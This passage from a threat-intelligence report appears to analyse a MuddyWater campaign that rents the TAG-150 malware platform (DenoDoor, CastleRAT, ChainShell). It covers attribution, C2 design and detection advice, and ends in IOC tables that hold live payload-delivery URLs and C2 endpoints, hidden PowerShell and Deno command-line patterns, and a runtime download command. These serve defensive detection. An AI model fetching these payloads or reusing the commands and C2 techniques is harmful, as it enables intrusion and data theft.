    └── Launches sysuu2etiprun.js (ChainShell blockchain C2 agent)
          └── Queries Ethereum smart contract via 10 RPC providers → resolves C2 IP
                └── AES-256-CBC encrypted WebSocket → C2
                      └── C2 pushes arbitrary JS via new Function() for execution
          └── Scheduled task: VirtualSmokestGuy{N}
          └── Keylogger output: %LOCALAPPDATA%\MashaLasley{N}\
          └── Mutex: NuklearYaderMojangPeta{N}
    └── CastleRAT PE (delivered in steganographic JPEG)
          └── HVNC / Chrome cookies / keylogger / screenshots
          └── C2: Steam Community dead drop → steamcommunity.com/id/tfy5d6gohu8tgy687r7
                └── Reads profile page → extracts current C2 IP
                      └── Connects to resolved IP:port

Additional malware families observed on the same TAG-150 infrastructure (via OTX pulse metadata and VT file corpus): DINODANCE, Fakeset, Stagecomp, Darkcomp, Phoenix, PDQ, BibiWiper, and HTTPSnoop. BibiWiper is a destructive disk-wiping payload associated with Israeli targeting - its presence on the same C2 infrastructure as the Smokest campaign is notable and warrants close attention. These families reflect the breadth of MuddyWater's active toolkit, not all of which is delivered via the TAG-150 MaaS.

---

Attribution

MuddyWater (High Confidence)

MuddyWater (TA450 / Mango Sandstorm / Seedworm / MERCURY) is the Iranian Ministry of Intelligence and Security-affiliated APT active since 2017, known for targeting government, defense, telecommunications, and financial sectors in the Middle East, Israel, and Western Europe.

Confirmed Smokest campaign targets:

• Israeli defense, aerospace, and technology sectors
• US financial institutions (banking)
• US airport infrastructure
• Canadian non-governmental organizations
• Israeli subsidiaries of US defense software companies

These are not inferred - the targeting lists were embedded in an exposed CastleRAT C2 panel at 157.20.182.49, which also contained Farsi-language code comments. The OTX pulse metadata for this campaign cluster lists targeted sectors as Finance, Defense, Aerospace, Government, Transportation, Technology, Energy, Healthcare, and Telecommunications across the United States, Israel, Canada, and Russia.

The attribution case here is unusually well-supported:

• AV engine labeling: Lionic (Trojan.Script.MuddyWater.4!c) and CTX (javascript.trojan.muddywater) - two independent engines with explicit family attribution
• Campaign infrastructure pattern: NICENIC registrar + HK registrant + Cloudflare DNS + short TTL is a documented TA450 infrastructure signature
• Farsi artifacts: armusaradif, tarvizadeh, hseyyed - Persian names and the "Seyyed" honorific in operator-controlled Deno Deploy subdomains
• Two SSL.com code-signing certificates: "Amy Cherne" previously linked to MuddyWater's StageComp tool - same cert also signs CastleRAT/CastleLoader MSIs in this cluster. A second identity, "Donald Gay", appears across DinDoor and Fakeset (another MuddyWater tool) samples with the same campaign metadata. Two cert identities, same operator, same platform.
• Cross-tool campaign naming: VirtualSmokestGuy120 scheduled task in CastleRAT builds - "Smokest" is the JWT campaign name in DenoDoor, appearing as a build artifact in the companion RAT. The operator named their CastleRAT build after their DenoDoor campaign.
• Post-disclosure persistence: After JUMPSEC publicly disclosed the ChainShell/MuddyWater connection in March 2026, MuddyWater continued operations with updated MSI installers and new JS RAT variants - no pause, no infrastructure teardown.
• JWT token: userNote: "ADS" - operator-assigned free-text field; JUMPSEC notes the value "differs from previous DinDoor activity," confirming per-operator customization. The same userId bb47c0615477a877 is consistent across all Smokest samples.

TAG-150 / GrayBravo (High Confidence - Platform Developer and Operator)

TAG-150 is tracked as GrayBravo by Recorded Future/Insikt Group - a Russian-speaking criminal group that has operated a closed, invite-only Malware-as-a-Service platform since at least March 2025. The platform comprises four components: CastleLoader, CastleRAT, ChainShell, and DenoDoor.

TAG-150 business model:

TAG-150 / GrayBravo (Russian criminal developer)
    │
    ├── Builds & maintains: CastleLoader, CastleRAT, ChainShell, DinDoor
    ├── Operates shared C2 backend (serialmenot.com, sharecodepro.com)
    ├── Issues JWT credentials per tenant/campaign
    ├── NO public underground forum presence - closed/invite-only
    └── Customers communicate via Tor ("largely Tor nodes" - Recorded Future)
           │
           ├── MuddyWater / MOIS (Iran) - Campaign "Smokest", userNote "ADS"
           ├── LeakNet ransomware operators
           └── [Unknown others - Tor-sourced, confirmed multi-tenant via JWT diff]

TAG-150 four-tier infrastructure architecture (Recorded Future):

Tier 1: Victim-facing C2
  ├── serialmenot.com / sharecodepro.com (94.26.90.166, Dedik Services DE)
  └── CastleRAT C2s: 23.94.145.120, 157.20.182.49, ttrdomennew.com

Tier 2: VPS intermediaries (accessed via RDP, port 3389)
  └── Shield Tier 1 from direct operator access
  └── Operators never directly touch C2 servers

Tier 3: VPS servers with shared TLS certs
  └── + Russian residential IP (AS35807/AS-SKYNET-SPB)
  └── Tox communications (UDP port 33445) - operator comms channel

Tier 4: Backup servers
  └── Persistent high-port UDP sessions
  └── Failover when Tier 1/2 are burned

The Russian attribution is not inferred - it's in the code:

• Strings вернул ("returned") and провайдер ("provider") appear in functional code paths - error handlers and user-facing messages - not in metadata or comments. These are developer artifacts, not planted strings.
• CIS locale self-exclusion: The malware checks the system locale and aborts on Commonwealth of Independent States systems. This is the standard Russian criminal move to avoid infecting domestic systems and drawing law enforcement attention.

Evidence that MuddyWater is a paying customer, not the developer:

Confidence assessment - Amadey relationship:

This is, to our knowledge, one of the first publicly documented cases of an Iranian state actor as a named tenant in a Russian criminal MaaS platform's JWT credential system. The "Amy Cherne" and "Donald Gay" SSL.com certificates are the forensic bridges: both cert identities were previously linked to MuddyWater's own custom StageComp tool and appear across the TAG-150 MSI droppers. Someone at MOIS approved using the same code-signing infrastructure for their homegrown tools and their rented ones.

Full attribution chain:

TAG-150 / GrayBravo (Russian criminal, active Mar 2025+)
  └── Builds & operates: CastleLoader, CastleRAT, ChainShell, DinDoor MaaS
        └── Tenant: MuddyWater / MOIS / TA450 / Seedworm (Iran)
              └── Campaign: "Smokest" | userNote: "ADS"
                    └── Delivery: Microsoft Teams impersonation
                          └── coupon.hub.v1.msi (Amy Cherne cert)
                                └── VBS → PS1 → deno.exe → DenoDoor
                                      └── ws://serialmenot.com/conn
                                            └── Targets: IL defense/aerospace,
                                                US banking, US airports, CA NGOs

For defenders: MuddyWater targeting patterns (Middle East governments, Israeli organizations, telecom) now need to account for TAG-150's full tool catalog, not just MuddyWater's historical TTP set.

---

Timeline

---

Where This Fits

The TAG-150 Platform in Full

Before getting into detection, it's worth mapping out exactly what TAG-150 has built, because each component has a different defensive implication.

CastleLoader is the first-stage dropper - delivered via ClickFix lures (fake browser update popups, fake document verification pages) and fake GitHub repositories impersonating legitimate tools like SSMS and Zscaler. PRODAFT obtained access to an exposed CastleLoader C2 panel in May 2025 and counted 469 infected devices at that snapshot. It drops any of: CastleRAT, ChainShell, DinDoor, SectopRAT, WarmCookie - the full catalog available to whatever tenant is active.

CastleRAT is the heavyweight PE-based RAT. HVNC gives the operator a hidden remote desktop session the victim can't see. It also does Chrome cookie decryption, keylogging, and screenshots. The evasion mechanism is what makes it a long-term headache: the C2 IP is read from a Steam Community profile page at runtime. The operator updates the profile page. The implant reads it. There's no domain to block, no IP to sinkhole - the resolution happens via a page on a legitimate gaming platform. Two confirmed MuddyWater Steam dead drop profiles: steamcommunity.com/id/tfy5d6gohu8tgy687r7 and steamcommunity.com/id/krouvhsin34287f7h3.

ChainShell is the most technically novel component and deserves its own explanation (see below).

DenoDoor (this investigation) is the lightweight JS backdoor - the one designed to be first contact, low noise, high evasion via the Deno LOLBin approach.

The platform is modular: operators (MuddyWater) get credentials to DenoDoor and CastleRAT. They use DenoDoor for initial access and lightweight tasking, and CastleRAT for when they need a full interactive session. ChainShell provides a resilient secondary persistence channel that survives any IP-based takedown.

The Deno LOLBin Problem

DenoDoor is one of several recent implants abusing legitimate runtimes as living-off-the-land binaries. The pattern - download a signed, trusted executable, execute attacker code via it - has been running for years with PowerShell and Node.js. Deno adds a wrinkle: it has explicit FFI support (Deno.dlopen) that allows calling arbitrary Windows DLLs without any traditional DLL import or injection. The agent's entire Windows API surface (GDI, user32, kernel32, crypt32, advapi32) is accessed through Deno's own runtime as FFI calls. Behavioral detection that looks for suspicious DLL loads in unusual parent processes gets a harder problem than it's used to.

The runtime library fetching pattern (jsr.io at runtime for @sigma/pty-ffi and @db/sqlite) is a detectable signal, but only if you're watching for it. Most proxy and network monitoring rules don't flag outbound connections to the Deno package registry.

The ChainShell Problem

The part of this investigation that should concern defenders most isn't DenoDoor - it's ChainShell, which we didn't find on the initial sample but which shares the same infrastructure.

ChainShell resolves its C2 address via an Ethereum smart contract queried across 10 separate RPC providers. This is EtherHiding applied to a production implant. The implication: blocking the current C2 IP does nothing. Blocking the domain does nothing. The Ethereum contract persists permanently on-chain. When the operator wants to migrate to new infrastructure, they update the contract and every ChainShell implant worldwide picks up the new address on next beacon. Sinkholing - the standard takedown playbook - doesn't work.

The only remediation is host-level: find the implant and remove it. Detection rules need to watch for ChainShell's own signatures: sysuu2etiprun.js, reset.ps1, VirtualSmokest* scheduled tasks, MashaLasley{N} directories, and NuklearYaderMojangPeta{N} mutex strings.

The MuddyWater-as-Customer Precedent

The broader significance is less technical and more geopolitical. MuddyWater has historically built and operated its own tools - PowerShell frameworks, custom RATs, legitimate RMM tool abuse. This campaign represents a documented shift to purchasing capability from a criminal MaaS vendor.

This isn't unprecedented as a concept (nation-states using criminal infrastructure is a known phenomenon), but having a publicly traceable, technically verified example of an Iranian state actor as a named tenant in a Russian MaaS platform's JWT credential system is genuinely new. The "Amy Cherne" SSL.com certificate is the thread that ties it together: the same certificate signs MuddyWater's own custom StageComp tool and the TAG-150 MSI droppers. Someone at MOIS approved the use of the same code-signing infrastructure for both their homegrown tools and their rented ones.

For defenders: MuddyWater targeting patterns (Middle East governments, Israeli organizations, telecom) now need to account for TAG-150's full tool catalog, not just MuddyWater's historical TTP set.

---

TTP Mapping

---

Key Takeaways

1. Block the confirmed C2 cluster - serialmenot.com, ms-telemetry-gateway-us.com, the kyun. family.*
Every domain in the IOC table tagged [VT-LIVE] or [SANDBOX] has direct behavioral or multi-vendor malware evidence behind it. Block serialmenot.com, ms-telemetry-gateway-us.com, kyun.li, kyun.sh, kyun.host, and the two bulletproof ASN CIDR blocks at your perimeter.

2. Deno is your new PowerShell blind spot.
Every detection rule you wrote around suspicious PowerShell invocation has an analog that needs to exist for Deno. Watch for: deno.exe -A data:application/javascript, outbound connections to jsr.io from unusual processes, TCP bind on 127.0.0.1:10044, and curl.exe downloading from dl.deno.land. The binary is signed and trusted. The behavior is not.

3. ChainShell cannot be sinkholed - detection must be host-based.
If ChainShell lands in your environment, IP blocking won't help. The C2 address lives on-chain. Focus on the host artifacts: sysuu2etiprun.js, VirtualSmokest* scheduled tasks, MashaLasley keylogger directories, NuklearYaderMojangPeta mutex.

4. The Caddy double-hop is a detectable C2 fingerprint - and it scales. The cluster is actively expanding.
Via: 1.1 Caddy appearing twice in HTTP response headers is an active detection opportunity. Hunt.io found 20 servers via this signature in April 2026. Running the same fingerprint dork on OPENCTI Platforms in June 2026 surfaced 14 previously undocumented C2 nodes and 2 new domains in a single session. A subsequent VT pivot confirmed that ms-telemetry-gateway-us.com is not just a domain with Caddy headers - it is a fully operational second DenoDoor C2 delivery server registered 2026-05-01, with 10 active samples (all 0–6/75 VT), identical API endpoints to the original cluster, and a fresh set of operator handles. The campaign is actively expanding. Two detection points: the Caddy double-hop at the network layer, and the /health + /open-authentication + /session-group API path cluster at the application layer - any server presenting all three is DenoDoor C2.

5. Iranian state actors are now MaaS customers.
The campaign attribution chain is documented and traceable: MuddyWater/MOIS renting TAG-150/GrayBravo capability. Defenders tracking MuddyWater need to expand their TTP awareness to the full TAG-150 catalog - CastleRAT's HVNC and Steam DDR, ChainShell's Ethereum C2, CastleLoader's ClickFix delivery. The actor's toolset is no longer bounded by what MOIS developers wrote.

---

IOC Summary

Verification legend - Crimson7-confirmed checks performed 2026-06-06 / 2026-06-07:

• [VT-LIVE] - fresh VirusTotal API lookup this session
• [DNS-LIVE] - live DNS resolution confirmed this session
• [HTTP-LIVE] - live HTTP response check this session
• [OPENCTI] - confirmed active via live OPENCTI Platforms hunt (2026-06-07)
• [DECODED] - extracted directly from deobfuscated malware code
• [SANDBOX] - observed in VirusTotal / ANY.RUN sandbox behavioral analysis
• [VENDOR: X] - sourced from vendor report X; not independently verified by Crimson7

Domains - Block at DNS/Proxy

IPs - Block at Firewall

CIDR Ranges - Blanket Block (Bulletproof ASNs)

# AS215659 - Aokigahara SRL (MOEMOEKYUN), Romania   [VT-LIVE] [DNS-LIVE] confirmed
66.78.40.0/24     <- confirmed C2 IPs: .83, .107, .170, .254 [VT-LIVE] [HTTP-LIVE]
93.113.25.0/24    <- sharecodepro.com staging: .253, .136 [VT-LIVE passive DNS]
65.87.7.0/24      <- confirmed C2 IPs: .227, .239 [OPENCTI]
45.38.20.0/24     <- confirmed C2 IP: .52 [OPENCTI]
31.57.129.0/24    <- confirmed C2 IPs: .250, .252 [OPENCTI]

# AS207043 - Dedik Services (DEDIK.IO), Germany      [VT-LIVE] [HTTP-LIVE] confirmed
94.26.90.0/24     <- primary C2 cluster: .51 (NEW), .166 (primary) [OPENCTI]
94.26.83.0/24     <- 2 new C2 IPs: .49, .82 [OPENCTI]
85.239.144.0/24   <- new C2 IP: .31 [OPENCTI]
85.239.149.0/24   <- new C2 IP: .80 [OPENCTI]
151.240.151.0/24  <- new C2 IP: .97 [OPENCTI]
151.243.113.0/24  <- new C2 IP: .60 [OPENCTI]
167.148.195.0/24  <- new C2 IP: .109 [OPENCTI]

File Hashes (SHA256)

DenoDoor / Smokest campaign - MSI, VBS, PS1 delivery chain - [VT-LIVE] all

DenoDoor JS implants - [VT-LIVE] all

MSI droppers (serialmenot.com + sharecodepro.com) - [VT-LIVE] confirmed; migcredit vendor-sourced

ms-telemetry-gateway-us.com cluster - NEW, 2026-05+, [VT-LIVE] all; C2AE/CAPE sandbox verdict: MALWARE

All MSIs: 12,800 bytes (same template as coupon.hub.v1.msi). All PS1 stagers: 1,537 bytes (same template as yankee_software95.ps1).

85.239.144.31:6600 cluster - NEW, 2026-05+, [VT-LIVE] all; likely CastleLoader

Amadey cluster (sharecodepro.com co-tenant) - [VT-LIVE] all

CastleRAT (TAG-150 platform) - [VENDOR: JUMPSEC] - not independently verified by Crimson7

ChainShell (TAG-150 platform) - [VENDOR: JUMPSEC] - not independently verified by Crimson7

Historical MuddyWater tooling - [VENDOR: PRODAFT] - not independently verified by Crimson7

Host-Based Indicators

# [DECODED] from DenoDoor implant - extracted via deobfuscation
127.0.0.1:10044                               TCP bind - DenoDoor single-instance mutex
%USERPROFILE%\.deno\bin\deno.exe              Deno LOLBin drop path
Viper_controller36.vbs                        VBS launcher filename
tango_utility84.ps1                           PS1 stager filename
falcon_service49.vbs                          Alt VBS launcher (sharecodepro.com campaign)
Viper_widget65.dat                            Encrypted payload blob

# [SANDBOX] - VirusTotal behavioral analysis (serialmenot/sharecodepro cluster)
%LOCALAPPDATA%\coupon.hub.v1\                 MSI install directory
error.vbs                                     Decoy/error handler

# [SANDBOX] - ms-telemetry cluster (gpt.msi CAPE sandbox, 2026-06-07)
%LOCALAPPDATA%\gpt\lima70.ps1                 PS1 stager dropped by gpt.msi (NATO: Lima)
%LOCALAPPDATA%\gpt\November_script73.cmd      CMD launcher dropped by gpt.msi (NATO: November)
{8CDAC5CE-443C-425E-B996-82D96B844204}        MSI GUID (gpt.msi) - behavioral pivot key
Griffin_platform20                            MSI Publisher (registry InstallProperties)
v2.7.14                                       Deno runtime version in ms-telemetry cluster

# NATO phonetic operator handles - full confirmed set [SANDBOX] [DECODED]
alpha_tool27    foxtrot_daemon80    november_manager11  india_block72      mike28
Quebec_service65  yankee_software95  tango_utility84    Delta27            quebec85
Zulu14          Charlie_app9        Lima70              November_script73  Griffin_platform20

# [SANDBOX] - 85.239.144.31:6600 cluster (likely CastleLoader)
sleestak_payload_1.ps1                             PS1 downloader (10/75 VT)
417216054                                          42–43KB obfuscated PS1 name (possible Telegram ID)
http://85.239.144.31:6600/v5pfpu6s/setup_s3.exe   EXE payload delivery endpoint (3/93 VT)

# [VENDOR: JUMPSEC] - CastleRAT / ChainShell artifacts; not independently verified
%LOCALAPPDATA%\Nodejs\node-v18.17.0-win-x64\ ChainShell Node.js install path
VirtualSmokestGuy120                          CastleRAT scheduled task (embeds campaign name)
VirtualSmokestGuy13                           CastleRAT scheduled task - Build 13
VirtualSmokestGuy666                          CastleRAT scheduled task - Build 666
sysuu2etiprun.js                              ChainShell payload filename
VfZUSQi6oerKau.js                             ChainShell dropper/installer filename
reset.ps1                                     ChainShell deployment script
MashaLasley*                                  ChainShell keylogger output directories
NuklearYaderMojangPeta*                       ChainShell mutex prefix
IsabellaWine                                  TAG-150 MaaS template identifier (all operator builds)

Payload Delivery URLs - [VT-LIVE] [DECODED]

# serialmenot/sharecodepro cluster (original)
http://sharecodepro.com/m/{16-char-hex}/main           # [DECODED] DenoDoor payload delivery pattern
http://serialmenot.com/mv2/{JWT}/{victimId}            # [VT-LIVE] [DECODED] JWT-gated module retrieval
http://serialmenot.com/health                          # [VT-LIVE] C2 heartbeat - 404 + Caddy
ws://serialmenot.com/conn                              # [DECODED] Primary WebSocket C2 channel

# ms-telemetry-gateway-us.com cluster ([SANDBOX] CAPE confirmed 2026-06-07)
http://ms-telemetry-gateway-us.com/health              # [SANDBOX] DenoDoor health check
http://ms-telemetry-gateway-us.com/open-authentication # [SANDBOX] JWT authentication endpoint
http://ms-telemetry-gateway-us.com/session-group       # [SANDBOX] Session management endpoint
http://ms-telemetry-gateway-us.com/{16-char-hex}.js    # [SANDBOX] Hex-named JS payload delivery
https://github.com/denoland/deno/releases/download/v2.7.14/deno-x86_64-pc-windows-msvc.zip  # [SANDBOX]

# 85.239.144.31 cluster ([SANDBOX] confirmed 2026-06-07)
http://85.239.144.31:6600/v5pfpu6s/setup_s3.exe        # [SANDBOX] EXE payload delivery (3/93 VT)

Process Cmdline Patterns (EDR/SIEM) - [DECODED] [SANDBOX]

deno.exe -A data:application/javascript          # [DECODED] Fileless DenoDoor / Sr() execution
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass  # [SANDBOX]
curl.exe -Lo *\.deno\bin\deno.zip https://dl.deno.land/*  # [SANDBOX] Deno binary delivery

C2 HTTP Fingerprint (Network Detection) - [HTTP-LIVE] confirmed 2026-06-06

HTTP/1.1 404 Not Found
Via: 1.1 Caddy          <- appears TWICE - double-hop Caddy reverse proxy signature
Via: 1.1 Caddy
Access-Control-Allow-Origin: *
X-Request-Id: <uuid-v4>

OPENCTI Platforms dork (Via: 1.1 Caddy + Access-Control-Allow-Origin: * + port 80) returned 20 additional candidate C2 servers at time of hunt.

Steam Dead Drop Resolvers (CastleRAT) - [VENDOR: JUMPSEC]

steamcommunity.com/id/tfy5d6gohu8tgy687r7   # CastleRAT C2 IP embedded in Steam profile
steamcommunity.com/id/krouvhsin34287f7h3    # CastleRAT C2 IP embedded in Steam profile

C2 IPs extracted from Steam profile page text at beacon time - not independently verified by Crimson7. Steam is treated as a legitimate site by most proxies and DLP tools.

Campaign JWT Metadata - [DECODED] from hardcoded implant token

{
  "campaignName": "Smokest",
  "campaignId":   "75cbe18653d52372",
  "configId":     "fd8a7e52c4b347d6",
  "userId":       "bb47c0615477a877",
  "userNote":     "ADS",
  "proxies":      ["http://serialmenot.com"],
  "iat":          1780485872,
  "exp":          2096061872
}

exp corresponds to approximately 2036-05-27 - a 10-year token lifetime, consistent with a long-running MaaS platform credential rather than a per-operation token.

---

References

Vendor Research

• JUMPSEC: "ChainShell: MuddyWater and the Russian Criminal Infrastructure Powering Iranian Cyberattacks" - primary research naming TAG-150 as MuddyWater's MaaS vendor; ChainShell blockchain C2 analysis; exposed C2 panel investigation
• Recorded Future / Insikt Group: "From CastleLoader to CastleRAT: TAG-150 Advances Operations" - TAG-150 / GrayBravo attribution, full platform architecture, four-tier infrastructure model
• Recorded Future / Insikt Group: "GrayBravo's CastleLoader Activity Clusters" - CastleLoader delivery via ClickFix, 469 infections in exposed panel, Ethereum C2 precursor
• Hunt.io: "DinDoor: Deno Runtime Backdoor MSI Analysis" - first public DenoDoor MSI analysis; Caddy double-hop fingerprint; 20-server hunt via header signature
• ExtraHop: "Anatomy of an Attack: The DinDoor Backdoor" - behavioral kill chain, Deno FFI API surface, network detection
• PRODAFT: CastleLoader C2 panel analysis - 469 infected devices snapshot, targeting lists, Farsi code comments in exposed CastleRAT panel at 157.20.182.49
• Darktrace: "CastleLoader / CastleRAT: TAG-150's Modular Attack System" - modular platform overview, Steam dead drop resolver, steganographic JPEG delivery
• Symantec: Named Trojan.Dindoor family - engine-level attribution anchor
• Microsoft (MSTIC): TA450 / Mango Sandstorm profile - MuddyWater historical TTPs, Teams delivery vector

VirusTotal - Key Sample References (Crimson7-verified)

---

All intelligence in this post was gathered via passive and open-source methods only. No active probing, exploitation, or modification of threat actor infrastructure occurred. HTTP header checks were passive GET requests. No C2 authentication was attempted or malware executed in our environment. The investigation began from a publicly available VirusTotal file hash.